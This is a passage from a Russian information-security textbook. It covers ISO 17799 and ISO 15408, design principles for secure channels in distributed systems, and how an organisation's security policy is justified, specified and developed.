Например, для электронной почты, во-первых, некоторые средства защиты типа контроля участников могут быть предоставлены только на этом уровне. Во-вторых, сообщения обычно адресуются группам получателей (групповая передача на прикладном уровне) и их доставка осуществляется за несколько этапов с помощью коммутаторов сообщений. Зашита на нижних уровнях часто предоставляется только в реальном времени для каналов типа "точка-точка". Для почты использование механизмов защиты на более низких уровнях может обеспечить защиту от отправителя коммутатору сообщений (МТА), защиту между МТА, между МТА и получателями, но только пошаговую. Для обеспечения сквозной защиты "автор-читатель" требуется использование специфичных для почты технологий.
5.4.2.	Стандарт ISO 17799
Наиболее полно критерии для оценки механизмов безопасности организационного уровня представлены в международном стандарте ISO 17799 "Code of Practice for Information Security Management" ("Практические правила управления информационной безопасностью"), созданном в 2000 г. Международной организацией по стандартизации и Международной электротехнической комиссией на основе разработок Британского института стандартов (BS 7799). ISO 17799 содержит практические правила по управлению информационной безопасностью и может использоваться в качестве критериев для оценки механизмов безопасности организационного уровня, включая административные, процедурные и физические меры защиты [88]. При создании эффективной системы безопасности особое внимание должно уделяться комплексному подходу к управлению ИБ. По этим причинам в качестве элементов управления рассматриваются не только технические, но и организационноадминистративные меры, направленные на обеспечение следующих требований к информации: конфиденциальность, целостность, доступность, достоверность. Практические правила разбиты на следующие 10 разделов.
1.	Политика безопасности.
2.	Организационные меры по обеспечению безопасности.
	Управление форумами по ИБ.
	Координация вопросов, связанных с ИБ.
	Распределение ответственности за обеспечение безопасности.
3.	Классификация и управление ресурсами.
	Инвентаризация ресурсов.
	Классификация ресурсов.
4.	Безопасность персонала.
	Безопасность при выборе и работе с персоналом.
	Тренинги персонала по вопросам безопасности.
	Реагирование на инциденты и неисправности.
5.	Физическая безопасность.
6.	Управление коммуникациями и процессами.
	Рабочие процедуры и ответственность.
	Системное планирование.
406	Информационная безопасность открытых систем
	Защита от злонамеренного ПО (вирусов, троянских коней).
	Управление внутренними ресурсами.
	Управление сетями.
	Безопасность носителей данных.
	Передача информации и ПО.
7.	Контроль доступа.
	Бизнес требования для контроля доступа.
	Управление доступом пользователя.
	Ответственность пользователей.
	Контроль удаленного (сетевого) доступа и управление этап доступом.
	Контроль доступа в ОС.
	Контроль доступа к приложениям и управление этим доступом.
	Мониторинг доступа и использования систем.
	Мобильные пользователи.
8.	Разработка и техническая поддержка вычислительных систем.
	Требования по безопасности систем.
	Безопасность приложений.
	Криптография.
	Безопасность системных файлов.
	Безопасность процессов разработки и поддержки.
9.	Управление непрерывностью бизнеса.
	Процесс управления непрерывностью ведения бизнеса.
	Непрерывность бизнеса и анализ воздействий.
	Создание и внедрение плана непрерывного ведения бизнеса.
	Тестирование, обеспечение и переоценка плана непрерывного ведения бизнеса.
10.	Соответствие системы основным требованиям.
	Соответствие требованиям законодательства.
	Анализ соответствия политики безопасности.
	Анализ соответствия техническим требованиям.
	Анализ соответствия требованиям системного аудита.
В этих разделах содержится описание механизмов безопасности организационного уровня, реализуемых в настоящее время в правительственных и коммерческих организациях во многих странах мира.
Десять средств контроля, предлагаемые в ISO 17799 (они обозначены как ключевые), считаются особенно важными. Под средствами контроля в данном контексте понимаются механизмы управления ИБ организации. Они представляют собой либо обязательные требования, например требования действующего законодательства, либо считаются основными структурными элементами ИБ, например обучение правилам безопасности. Эти средства контроля актуальны для всех организаций и сред функционирования АС и составляют основу системы управления ИБ. Они служат в качестве основного руководства для организаций, приступающих к реализации средств управления ИБ.
Ключевыми являются следующие средства контроля:
1.	Документ о политике ИБ.
2.	Распределение обязанностей по обеспечению ИБ.
5. Обеспечение информационной безопасности в открытых системах	AG7
3.	Обучение и подготовка персонала к поддержанию режима ИБ.
4.	Уведомление о случаях нарушения защиты.
5.	Средства защиты от вирусов.
6.	Планирование бесперебойной работы организации.
7.	Контроль за копированием ПО, защищенного законом об авторском праве.
8.	Защита документации организации.
9.	Защита данных.
10.	Контроль соответствия политике безопасности.
Процедура аудита безопасности ИС включает в себя проверку наличия перечисленных ключевых средств контроля, оценку полноты и правильности их реализации, а также анализ их адекватности рискам, существующим в данной среде функционирования. Составной частью работ по аудиту безопасности ИС также является анализ и управление рисками.
5.4.3.	Стандарт ISO 15408
Наиболее полно критерии для оценки механизмов безопасности программнотехнического уровня представлены в международном стандарте ISO 15408 "Common Criteria for Information Technology Security Evaluation" ("Общие критерии оценки безопасности информационных технологий"), принятом в 1999 г. В апреле 2002 г. Госстандарт России принял адаптированный к российским условиям ГОСТ Р ИСО/МЭК 15408-2002 [89], разработанный по заказу Гостехкомиссии России Центром безопасности информации, Четвертым ЦНИИ Минобороны РФ, центром "Атомзащитаинформ" и ЦНИИАтомИнформ Минатома России, ВНИИстандартом при активном участии экспертов международной рабочей группы по общим критериям и введенный в действие в России с 1 января 2004 г. Стандарт определяет общие рамки описания требований защиты информации и набор параметров, которыми может быть описано любое СЗИ. Из этих параметров формируются специальные документы - профили защиты; они содержат основные требования, которые предъявляются средствам защиты или просто компонентам ИС.
"Общие критерии оценки безопасности информационных технологий" (далее — "Общие критерии") определяют функциональные требования безопасности (security functional requirements) и требования к адекватности реализации функций безопасности (security assurance requirements). При проведении работ по анализу защищенности АС, а также средств вычислительной техники (СВТ) "Общие критерии" целесообразно использовать в качестве основных критериев, позволяющих оценить уровень защищенности АС (СВТ) с точки зрения полноты реализованных в ней функций безопасности и надежности реализации этих функций. Хотя применимость "Общих критериев" ограничивается механизмами безопасности программно-технического уровня, в них содержится определенный набор требований к механизмам безопасности организационного уровня и требований по физической защите, которые непосредственно связаны с описываемыми функциями безопасности.
Первая часть "Общих критериев" содержит определение общих понятий, концепции, описание модели и методики проведения оценки безопасности ИТ. В ней вводится понятийный аппарат, и определяются принципы формализации предметной области. Требования к функциональности средств защиты приводятся во второй части "Общих критериев" и могут быть непосредственно использованы при анализе за
408
Информационная безопасность открытых систем
щищенности для оценки полноты реализованных в АС (СВТ) функций безопасности. Третья часть "Общих критериев" содержит классы требований гарантированности оценки, включая класс требований по анализу уязвимостей средств и механизмов защиты.
"Общие критерии" в применении к оценке безопасности изделий ИТ являются по сути метасредствами, задающими систему понятий, в терминах которых должна производиться оценка, и содержащими относительно полный каталог требований безопасности (функциональных и доверия), но не предоставляющими конкретных наборов требований и критериев для тех или иных типов продуктов и систем ИТ, выполнение которых необходимо проверять. Эти требования и критерии фигурируют в профилях защиты (ПЗ) и заданиях по безопасности (ЗБ). Предполагается, что ПЗ в отличие от ЗБ носят относительно универсальный характер: они характеризуют определенный класс изделий ИТ вне зависимости от специфики условий применения. ПЗ могут характеризовать отдельные сервисы безопасности, комбинации подобных сервисов, реализованные, например, в ОС, а также прикладные изделия ИТ, для которых обеспечение ИБ критически важно. Именно официально принятые ПЗ образуют построенную на основе "Общих критериев" и используемую на практике нормативную базу в области ИБ.
5.4.4.	Требования к защищенным каналам связи
В ОТКРЫТЫХ СИСТЕМАХ
Все объекты в открытых системах взаимодействуют между собой по каналам связи. Идеальным с точки зрения безопасности будет взаимодействие объектов РВС по выделенным каналам [44]. Существуют два возможных способа организации такой топологии. В первом случае каждый объект связывается физическими линиями связи со всеми объектами системы. Во втором случае в системе может использоваться сетевой концентратор, через который осуществляется связь между объектами (топология "звезда").
Плюсы РВС с выделенными каналами состоят в следующем:
	передача сообщений осуществляется напрямую между источником и приемником; тогда в случае отсутствия доступа к объектам, через которые осуществляется передача сообщения, не существует программной возможности для анализа сетевого трафика;
	имеется возможность идентифицировать объекты РВС на канальном уровне по их адресам без шифрования трафика; тогда появление ложного объекта невозможно без аппаратного вмешательства (подключение дополнительного устройства к каналу связи);
	отсутствует неопределенность с информацией об объектах.
К минусам РВС с выделенными каналами относятся:
	сложность реализации и высокие затраты на создание системы;
	ограниченное число объектов системы (зависит от числа входов у концентратора);
	сложность внесения в систему нового объекта.
Из этого следует, что создание РВС только с использованием широковещательной среды передачи или только с выделенными каналами неэффективно. Нужны комбинированные варианты соединений объектов. Для связи важных объектов лучше подходит выделенный канал, для менее значимых объектов - комбинация "общая шина-
5. Обеспечение информационной безопасности в открытых системах
409
выделенный канал". Тогда первый принцип создания защищенных средств связи объектов в РВС формулируется так: "Наилучшее с точки зрения безопасности взаимодействие объектов в РВС возможно только по физически выделенному каналу”.
Для создания защищенного взаимодействия удаленных объектов подобных мер недостаточно (например, необходимо предусмотреть вариант физического подключения к каналу) и поэтому важен второй принцип: "При построении защищенной системы связи в РВС необходимо учитывать, что все сообщения, передаваемые по каналу связи, могут быть перехвачены, но это не должно повлечь за собой нарушения безопасности системы в целом". То есть требуются дополнительные средства идентификации объектов и шифрование передаваемых по каналу связи сообщений.
Исходя из второго принципа, для ликвидации причин успеха удаленных атак можно сформулировать следующие два принципа: "Любое взаимодействие двух объектов в РВС должно проходить по виртуальному каналу связи" и "Для обеспечения надежной идентификации объектов РВС при создании виртуального канала необходимо использовать криптоалгоритмы с открытым ключом" (как, например, в протоколе SSL). Как следствие необходимо обеспечить ЭЦП сообщений и возможность их шифрования.
Каждый объект РВС должен обладать уникально его идентифицирующим адресом. При передаче сообщения от одного объекта другому оно должно пройти через цепь маршрутизаторов. Их задача - проанализировав адрес назначения, указанный в сообщении, выбрать оптимальный маршрут и передать пакет или на следующий маршрутизатор, или непосредственно абоненту, если он напрямую подключен к данному узлу. Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Он может являться информацией, аутентифицирующей (с точностью до подсети) подлинность адреса субъекта, отославшего сообщение. Но нужна проверка подлинности адреса сообщения, пришедшего на объект, что можно решить, введя дополнительную идентификацию сообщений на более высоком уровне ВОС. Так, адресация осуществляется на сетевом уровне, а дополнительная идентификация, например, на транспортном. Однако остается проблема контроля за созданием соединений, так как дополнительная идентификация абонентов будет возможна только после создания соединения. Функцию проверки подлинности адреса отправителя можно возложить на маршрутизатор, так как он может проверять соответствие адреса отправителя с адресом соответствующей подсети, откуда пришло сообщение (в случае совпадения сообщение пересылается далее, а в противном случае - отфильтровывается). Или создать в заголовке пакета специальные поля, куда каждый маршрутизатор, через который проходит пакет, заносит маршрутную информацию (часть своего адреса, например), но в этом случае сложно заранее определить максимальный размер заголовка пакета. Итак, следующий принцип создания защищенных систем связи в РВС таков: "В РВС на сетевом уровне для аутентификации адреса отправителя необходимо обеспечить контроль за маршрутом сообщений".
Если в системе связи удаленных объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то, избавившись от одного типа удаленных атак на соединение ("подмена доверенного объекта"), можно ожидать другую ТУА - "отказ в обслуживании". Поэтому для обеспечения надежного функционирования и работоспособности (доступности) каждого объекта РВС необходимо контролировать процессы создания соединения и его использования. Решение второй
410
Информационная безопасность открытых систем
задачи не вызывает проблем: так как сетевая ОС не может одновременно иметь бесконечное число открытых виртуальных каналов, то в случае, если один из них простаивает в течение определенного системой тайм-аута, происходит его закрытие. Основная задача, которую необходимо решить при контроле за созданием соединений, состоит в том, чтобы не позволить одному субъекту взаимодействия занять все виртуальные каналы системы. Контроль за созданием соединения заключается в том, чтобы определить правила, исходя из которых система могла либо поставить запрос в очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь (как в сетевых ОС, поддерживающих стек протоколов TCP/IP), то в случае атаки это ведет к переполнению очереди и к отказу в обслуживании всех остальных запросов. Такое происходит из-за того, что атакующий посылает в секунду столько запросов, сколько позволит трафик. Поэтому необходимо ввести ограничения на постановку в очередь запросов от одного объекта. Однако если в РВС любой объект системы может послать запрос от имени (с адреса) любого другого объекта системы, то решить задачу контроля не представляется возможным. Поэтому для обеспечения этой возможности был введен пятый принцип, исходя из которого в каждом пришедшем на объект пакете должен быть указан пройденный им маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя. Тогда разумное условие постановки запроса в очередь таково: в системе вводится ограничение на число обрабатываемых в секунду запросов из одной подсети (правда, в случае атаки все остальные объекты из подсети атакующего будут лишены возможности подключения к атакуемому объекту). Итак, очередной принцип таков: "Для обеспечения доступности ресурсов РВС необходим контроль за виртуальными соединениями между ее объектами (в части создания и использования соединений) ".
Одной из особенностей РВС является возможное отсутствие информации, необходимой для доступа к ее удаленным объектам. Поэтому возникает необходимость использования уязвимых алгоритмов удаленного поиска. Этого можно избежать, если на начальном этапе спроектировать систему так, чтобы информация об ее объектах была изначально полностью определена. Но практически это невозможно. Существует два типа алгоритмов удаленного поиска. Первый использует информационнопоисковый сервер, второй - широковещательные запросы. Второй алгоритм в принципе не позволяет защитить систему от внедрения в нее ложного объекта, и его применение в защищенной системе недопустимо. Использование сервера позволяет защититься от внедрения ложного объекта в том случае, если взаимодействие объектов системы с сервером происходит только с созданием виртуального канала и у подключенных к данному серверу объектов и самого сервера существует заранее определенная статическая ключевая информация, используемая при создании виртуального канала. Если виртуальный канал с сервером создается с использованием только динамически вырабатываемой ключевой информации, то ничто не мешает атакующему послать ложный ответ и создать виртуальный канал от имени настоящего сервера. Тогда получаем следующие, седьмой и восьмой принципы: "Наиболее безопасной РВС является та, в которой информация об ее объектах изначально полностью определена и в которой не применяются алгоритмы удаленного поиска" и "Если выполнение требования 7 невозможно, в РВС необходимо использовать алгоритм удаленного поиска только с выделенным информационно-поисковым сервером (без применения широковещательных запросов), и при этом взаимодействие объектов сис
Б. Обеспечение информационной безопасности в открытых системах
411
темы с данным сервером должно осуществляться только по виртуальному каналу с применением надежных алгоритмов защиты соединения с обязательным использованием статической ключевой информации".
В современном протоколе IPv4 практически ни одно из сформулированных требований к построению безопасных систем связи между удаленными объектами РВС не выполняется. В его новой версии - IPv6 ряд вышеизложенных принципов учтен. Однако насколько защищены сети в новом стандарте, можно будет узнать лишь после его практического применения.
5.5.	Политика безопасности для открытых систем
5.5.1.	Определение политики безопа сности
Первое и самое главное, от чего зависит хорошая защита открытой сети, - это ее ПБ, а точнее политика ее информационной безопасности. Предположим, что вы наблюдаете за интранетом поздно вечером и видите, что развивается атака. Что делать? Позволить атаке развиться и собирать данные? Отключить интранет от Интернета? Если так, отключить ли МЭ между интранетом и экстранетом? Или полностью отключить соединение с Интернетом (препятствуя доступу пользователей на вебсервер)? Кто имеет полномочия это сделать? Руководству корпорации необходимо четко расставить приоритеты. Рассмотрим сценарий, когда вы думаете, что вас атакуют, поэтому и отключаете соединение с интранетом. Пользователи выражают свое недовольство. А потом, оказывается, что вы ошиблись. Кража данных является понятием теоретическим, а недовольные пользователи очень реальны. Таким образом, необходима политика, которая определяет важность всех мер защиты и четко устанавливает процедуры, необходимые для выполнения, когда кажется, что имеет место атака. Как только точно определены приоритеты, нужно понять технологию реализации ПБ.
Политика безопасности (security policy) - это набор норм, правил и практических приемов, которые регулируют управление, защиту и распределение ценной информации (определение, приведенное в стандарте "Оранжевая книга", 1985 г.). В соответствии с определением Гостехкомиссии РФ, ПБ - это правила разграничения доступа, представляющие собой совокупность правил, регламентирующих права доступа субъектов доступа к объектам доступа [90]. Согласно более новому определению Гостехкомиссии РФ (из сборника терминов и определений по ИБ) ПБ — это совокупность требований и правил по ИБ для объекта ИБ, выработанных в соответствии с требованиями руководящих и нормативных документов в целях противодействия заданному множеству угроз ИБ, с учетом ценности защищаемой информационной сферы и стоимости системы обеспечения ИБ.
Таким образом, ПБ интранета - это формальная спецификация правил и рекомендаций, на основе которых пользователи/сотрудники организации применяют ее информационные и сетевые ресурсы, накапливают их и распоряжаются ими.
В современной практике обеспечения ИБ термин "ПБ" может употребляться как в широком, так и в узком смысле слова. В широком смысле ПБ определяется как система документированных управленческих решений по обеспечению ИБ организации. В узком смысле под ПБ обычно понимают локальный нормативный документ, определяющий требования безопасности, систему мер, либо порядок действий, а также
412
Информационная безопасность открытых систем
ответственность сотрудников организации и механизмы контроля для определенной области обеспечения ИБ.
ПБ только определяет, что должно быть защищено и какова ответственность в случае несоблюдения ее положений. Меры защиты определяют, как конкретно защитить ресурсы. Они являются механизмами реализации ПБ на практике и представляют собой полный перечень всех рекомендаций и действий, которые должны предприниматься в определенных обстоятельствах и при определенных инцидентах. Меры защиты выбираются таким образом, чтобы устранить так называемую проблему одной точки провала (например, служащий внезапно уволился и его функции по реализации ПБ никому не передали, или вышло из строя и не подлежит восстановлению какое-то средство защиты).
5.5.2.	Причины выработки политики безопасности
Можно выделить несколько основных аргументов в пользу того, что ПБ обязательно должна быть выработана для интранета любого масштаба. Во-первых, ПБ составляет общую основу для защиты интранет, в рамках которой определяются правила разграничения доступа ко всем информационным и сетевым ресурсам. Она определяет, какое поведение в интранете разрешено, т. е. является санкционированным, а какое запрещено, является несанкционированным и свидетельствует о незаконном ее использовании. Во-вторых, ПБ определяет "правила игры" для всех типов пользователей системы, что также позволяет достичь согласия по вопросам ее безопасности и среди руководства организации. В-третьих, ПБ часто помогает сделать выбор самой платформы для интранета в терминах того, какие инструментальные средства и процедуры будут использованы в ней.
Целью разработки ПБ организации в области ИБ является определение правильного (с точки зрения организации) способа использования информационных ресурсов, а также разработка процедур, предотвращающих или реагирующих на нарушения режима безопасности.
Формулировать ПБ должно высшее руководство организации - президент или совет директоров. Цель обеспечения безопасности не может быть достигнута, пока на самом высоком уровне не будет определено, чего следует добиваться, и не будут выделены ресурсы, которые позволят должным образом защитить информационную инфраструктуру и обеспечить управление ею.
Каковы причины, побуждающие компанию разрабатывать ПБ?
Требование руководства, обнаружившего недостаток внимания к проблемам ИБ, которые привели к снижению эффективности бизнеса. Нескольких серьезных инцидентов, повлекших за собой остановку или замедление работы компании в результате различных локальных и удаленных атак, разглашение конфиденциальной информации или кража компьютеров существенно стимулируют появление таких требований.
Требования законодательства и отраслевых стандартов. ПБ позволяет определить правила, в соответствии с которыми информация компании будет отнесена к категории коммерческой или служебной тайны. Это позволит юридически защитить информацию (ст. 139 Гражданского кодекса РФ). В зависимости от сферы действия компании она должна выполнять требования существующего законодательства ее отрасли. Например, в соответствии со ст. 857 банки должны гарантировать защиту банковской тайны клиентов. Страховщики должны защищать тайну страхования
5. Обеспечение информационной безопасности в открытых системах
413
(ст. 946) и т. п. Также в соответствии с Указом № 188 от 06.03.97 "Об утверждении перечня сведений конфиденциального характера” компании должны обеспечивать защиту персональных данных сотрудников.
Требования клиентов и партнеров о подтверждении необходимого уровня обеспечения ИБ для гарантии того, что их конфиденциальная информация защищена надлежащим образом. Они могут потребовать юридического подтверждения данного факта в контрактах. Именно в ПБ есть четкое доказательство намерений компании относительно ИБ.
Необходимость сертификации по стандартам, подтверждающей необходимый уровень обеспечения ИБ для защиты информации и бизнес-процессов.
Требования аудиторов. Любая внешняя аудиторская проверка обращает внимание на необходимость формализации всех бизнес-процесов, в том числе особое внимание уделяется наличию ПБ.
Обеспечение конкурентоспособности за счет оптимизации бизнес-процессов и увеличения производительности. Правильно разработанная и реализованная ПБ позволяет уменьшить время недоступности сервисов, вызванных компьютерными инцидентами, таким образом, увеличивая показатель живучести компании.
Демонстрация заинтересованности руководства в обеспечении ИБ, что значительно увеличивает приоритет безопасности в глазах сотрудников компании. Без этого они не станут воспринимать ПБ всерьез.
Вовлечение сотрудников в процесс обеспечения ИБ. Необходимо убедить сотрудников в том, что обеспечение ИБ - их прямая обязанность. Это достигается путем введения процедуры ознакомления с требованиями ПБ и подписания соответствующего документа о том, что сотрудник ознакомлен, ему понятны все требования политики и он обязуется их выполнять. ПБ позволяет ввести требования по поддержанию необходимого уровня ИБ в перечень обязанностей каждого сотрудника. Также важным условием успеха в области обеспечения ИБ становится создание в компании атмосферы, благоприятной для пропаганды и поддержания высокого приоритета ИБ.
Уменьшение стоимости страхования. Страхование - важная составляющая управления информационными рисками. Наличие ПБ является необходимым и обязательным условием страхования. В России уже появились фирмы, предлагающие страховать информационные риски (например, РОСНО и Ингосстрах). Стоимость страхования компания определяет путем проведения аудита ИБ независимой организацией, специализирующейся в этой области.
Экономическая целесообразность. ПБ является самым дешевым и одновременно самым эффективным средством обеспечения ИБ.
Хорошая практика. Наличие ПБ является правилом хорошего тона. В опросе, проведенном в 2002 г. в Великобритании компанией PriceWaterHouseCoopers, 67 % компаний выделили именно эту причину создания ПБ.
После принятия и утверждения ПБ касается каждого сотрудника в пределах организации. Большинство людей вполне оправданно могут сопротивляться любым мерам, которые, по их мнению, будут сказываться на производительности их работы. Например, многочисленные процедуры идентификации перед доступом к данным, находящимся в конфиденциальных БД, увеличат время эффективной работы за компьютером. Некоторые люди в силу своего характера могут сопротивляться любым нововведениям и переменам в работе. Часть пользователей может не признавать ни
414
Информационная безопасность открытых систем
каких запретов, ограничивающих свободу их действий, и рассматривать ПБ лишь как меру контроля за поведением сотрудников (такой контроль в зарубежных научных публикациях даже получил свой термин - "синдром старшего брата").
Каждый человек имеет свои представления относительно потребности в контроле за безопасностью. Они не всегда могут совпадать с теми, которые приняты в организации, куда он пришел работать. Если изначально потенциальный сотрудник не разделяет ПБ организации, стоит принципиально решать вопрос о его приеме на работу.
Кроме того, люди боятся, что ПБ будет трудно придерживаться и ее будет трудно осуществлять.
Так кто же должен быть заинтересован в ПБ? В первую очередь это сами пользователи — их ПБ касается в наибольшей степени, поскольку регламентирует их каждодневную работу. Это вспомогательный персонал системы (системный администратор, администратор ИБ интранетА, технический персонал и т. д.) - от них требуется реализовывать на практике и следить за выполнением ПБ. И наконец, это руководство организации - именно оно в первую очередь ответственно перед своими сотрудниками, клиентами и заказчиками, обеспокоено относительно репутации организации, заинтересовано в ее процветании в условиях рыночной конкуренции и в защите определяющих это процветание данных.
5.5.3.	Основные требования к политике безопасности
Основными требованиями к ПБ являются следующие.
	ПБ должна быть реализуема, а ее реализация контролируема.
	ПБ должна быть краткой и простой для понимания.
	ПБ должна иметь разумный баланс между защитой и при этом не влиять на эффективность работы сотрудников организации, т. е. не снижать производительность их работы.
	ПБ должна регулярно модифицироваться, чтобы отражать развитие организации.
	С ПБ организации должны быть ознакомлены все сотрудники. Программа обучения в области ИБ и контрольные проверки действий в тех или иных ситуациях могут достаточно эффективно демонстрировать всем пользователям ПБ.
	Чтобы быть эффективной, ПБ должна быть наглядной. Наглядность способствует реализации политики, помогая гарантировать ее знание и понимание всеми сотрудниками организации. Видеофильмы, семинары, статьи во внутренних изданиях организации или на ее внутреннем веб-узле увеличивают такую наглядность.
	ПБ обязательно должна быть согласована с общепризнанными основами теории защиты информации и компьютеров, со всеми существующими нормативноправовыми документами, соблюдение которых требуется от организации в стране ее функционирования, а также директивами, законами, приказами и общими задачами самой организации. Она должна быть интегрирована в общую политику организации и согласована с другими политиками (например, политикой по приему на работу).
ПБ в отношении интранета должна складываться из трех основных составляющих:
1)	планов защиты отдельных подсистем;
2)	планов защиты отдельных ресурсов;
5. Обеспечение информационной безопасности в открытых системах
415
3)	положений и инструкций, определяющих правила работы персонала с защищаемой информацией, сетевыми программными и аппаратными средствами.
ПБ можно разделить на две категории: административные политики (выполняемые людьми, использующими систему, и людьми, управляющими ей) и технические политики, реализуемые с помощью оборудования и программ. В зависимости от этого ПБ базируется на правилах двух видов. Первая группа связана с заданием правил разграничения доступа ко всем ресурсам системы, а вторая группа основана на правилах анализа сетевого трафика как внутри интранета, так и при его выходе из системы или входе в нее. В основе этих правил, и соответственно выработки ПБ, лежит принцип доверия. Определяя ПБ, нужно выяснить, насколько можно доверять людям и ресурсам.
Для первой группы правил главный вопрос заключается в том, кому и в какой степени в интранете можно доверять, имея в виду больше человеческий фактор, но не забывая при этом и о запущенных в интранете процессах и приложениях. Начальный этап задания этих правил состоит в определении тех, кто получает доступ. Предварительные установки систем, обеспечивающих защиту' информации в интранете, могут соответствовать принципу наименьшего доступа для всех. Далее для каждой группы пользователей и входящих в нее представителей определяются степени доверия. Это дело очень сложное и даже деликатное.
	Если доверие ко всем слишком велико, то им могут злоупотреблять и тогда возможны проблемы с нарушением безопасности.
	Если доверия заслуживает лишь очень небольшая группа пользователей, то и в этом случае возникнут ситуации, когда выполнение обычных обязанностей служащих организации будет затруднено, например постоянными процедурами аутентификации, что вызовет с их стороны только раздражение, полное неприятие ПБ и нежелание ее поддерживать и осуществлять ее основные положения на практике. Компромиссное решение в данном случае и будет самым подходящим -всего должно быть в меру, в том числе доверия и недоверия.
В данном контексте вопрос для второй группы правил звучит так: "Каким пакетам в интранете доверять, а каким нет, ибо они могут циркулировать в интранете по инициативе злоумышленника?" Именно эти правила и являются главенствующими при установке и настройке основных систем анализа трафика в интранете и пакетных фильтров (самой простой разновидности МЭ).
Для интранета можно выделить три основные трастовые модели, или модели доверия:
1)	либеральная - доверять всем в течение всего времени работы;
2)	запретительная - не доверять никому и никогда;
3)	разумная, или компромиссная, - доверять иногда некоторым людям.
Первая модель — самая простая, но непрактичная, поскольку любой пользователь и любой процесс в системе имеют доступ к любым ресурсам, независимо от степени их конфиденциальности. Один проникший в систему злоумышленник, не важно внешний он или внутренний, может получить НСД к информации, которая определяет успешность бизнеса организации. Вторая модель также малоприменима на практике, поскольку существенно ограничивает или даже затрудняет выполнение основных функций практически всех служащих организации, и тогда просто невозможно найти служащих, которые согласятся работать в таких условиях. Третья модель оп-
416
Информационная безопасность открытых систем
ределяет доступ ко всем ресурсам по мере необходимости, например по запросам от пользователей или руководства организации. Далее использование предоставленного доступа контролируется с помощью специальных систем, позволяющих обнаруживать факты злоупотребления и регистрировать доступ пользователей и процессов ко всем ресурсам. Эти системы позволяют гарантировать, что доверие не нарушалось. Данная модель, как и все предыдущие, предполагает, что при начале работы в системе все пользователи уведомляются об их правах доступа, а примеры нарушения этих прав становятся общеизвестны всем сотрудникам организации.
При разработке и проведении в жизнь ПБ целесообразно руководствоваться следующими принципами [91]:
	невозможность миновать защитные средства, что определяется при обследовании интранета (применительно к МЭ это означает, что все информационные потоки в защищаемый интранет и из него должны проходить через МЭ; не должно быть "тайных" модемных входов или тестовых линий, идущих в обход МЭ);
	усиление самого слабого звена, выявляемого при регулярном обследовании интранета (злоумышленник предпочитает легкую победу; часто самым слабым звеном оказывается не компьютер или ПО, а человек; тогда проблема обеспечения ИБ приобретает нетехнический характер);
	невозможность перехода в небезопасное состояние, т. е. при любых обстоятельствах, в том числе нештатных, защитное средство либо полностью выполняет свои функции, либо полностью блокирует доступ;
	минимизация привилегий, предписывающая выделять пользователям и администраторам только те права доступа, которые необходимы им для выполнения служебных обязанностей (цель - уменьшить ущерб от случайных или умышленных некорректных действий);
	разделение обязанностей - распределение ролей и ответственности, при котором один человек не может нарушить критически важный для организации процесс или создать уязвимость в защите по заказу злоумышленников (важно для предотвращения злонамеренных или неквалифицированных действий системного администратора);
	эшелонированность (многоуровневость, многослойность) обороны (defence in depth) (нельзя полагаться на один защитный рубеж, каким бы надежным он ни казался: за средствами физической защиты должны следовать программнотехнические средства, за идентификацией и аутентификацией - управление доступом, и как последний рубеж - протоколирование и аудит);
	разнообразие защитных средств, что позволяет организовывать различные по своему характеру оборонительные рубежи (тогда злоумышленник для взлома системы должен владеть разнообразными знаниями и навыками);
	простота и управляемость ИС в целом и защитных средств в особенности (только для простого защитного средства можно доказать его корректность; только в простой и управляемой ИС можно проверить согласованность конфигурации различных компонентов и осуществить централизованное администрирование; для интранета важно отметить интегрирующую роль веб-сервиса, скрывающего разнообразие обслуживаемых объектов и предоставляющего единый интерфейс);
	обеспечение всеобщей поддержки мер безопасности, предусматривающее комплекс мер, направленный на обеспечение лояльности персонала и его постоянное
5. Обеспечение информационной безопасности в открытых системах
417
теоретическое и практическое обучение (если сотрудники организации считают ИБ чем-то излишним или даже враждебным, то режим безопасности сформировать не удастся; интранет, существенно облегчая потребление информации, способствует созданию в организации благоприятного психологического климата и осознанному следованию ПБ).
5.5.4. Этапы выработки политики безопасности
Разработка ПБ - длительный и трудоемкий процесс, требующий высокого профессионализма, отличного знания нормативной базы в области ИБ и, помимо всего прочего, писательского таланта. Не всегда создание ПБ нужно начинать с нуля. Во многих случаях можно воспользоваться существующими наработками, ограничившись адаптацией типового комплекта ПБ к специфическим условиям своей организации. Этот путь позволяет сэкономить многие месяцы работы и повысить качество разрабатываемых документов. Кроме того, он является единственно приемлемым в случае отсутствия в организации собственных ресурсов для квалифицированной разработки ПБ.
Выработка конкретной ПБ зависит от размера и целей организации, ее принимающей.
С практической точки зрения ПБ целесообразно разделить на несколько уровней, как правило два или три [92]. Верхний уровень носит общий характер и определяет ПБ организации в целом. Средний уровень выделяют в случае структурной сложности организации или при необходимости обозначить специфичные подсистемы. Это касается отношения к перспективным, еще недостаточно апробированным технологиям. Кроме того, здесь могут быть выделены особо значимые контуры интранета, например обрабатывающие критически важную информацию. Нижний уровень относится к конкретным службам или подразделениям организации и детализирует верхние уровни ПБ. На данном уровне определяются конкретные цели, частные критерии и показатели ИБ, задаются права групп пользователей, формулируются условия доступа к информации, выводятся правила безопасности и т. п.
ПБ должна быть определена в момент проектирования интранета. Жизненный цикл ПБ, или процесс ее выработки, начинается с определения состава группы разработки и функций каждого входящего в эту группу. Сразу же решается, кто в дальнейшем будет знакомить с ней сотрудников организации и следить за ее реализацией, какие меры будут применяться к тем, кто ее нарушает, а также какова периодичность и каков порядок пересмотра ПБ в зависимости от изменяющихся условий работы организации (это связано с тем, что соблюдение адекватной ПБ в интранете в течение длительного времени является практически невыполнимой задачей, так как меняется как окружающая среда, так и сам интранет: модифицируется ее АО, ПО и сетевая структура).
Следующий шаг - это способ выработки ПБ, т. е. на основе какой информации будет определяться ПБ, кем эта информация будет предоставляться и какова степень доверия к этой информации. Нельзя включать в рассмотрение те факторы, которые часто меняются. И нельзя сводить ПБ лишь к детальному плану реализации основных мер по защите всех ресурсов организации (например, недопустима ориентация на конкретные средства защиты и указание конкретных версий продуктов конкрет
14—2368
418
Информационная безопасность открытых систем
ных производителей, иначе при появлении новых версий и выпуске средств новых производителей придется пересматривать всю ПБ).
На этом этапе надо получить ответы руководства, клиентов и пользователей отдельных сервисов организации на следующие вопросы.
Какие ожидания пользователи и клиенты возлагают на обеспечение безопасности интранета?
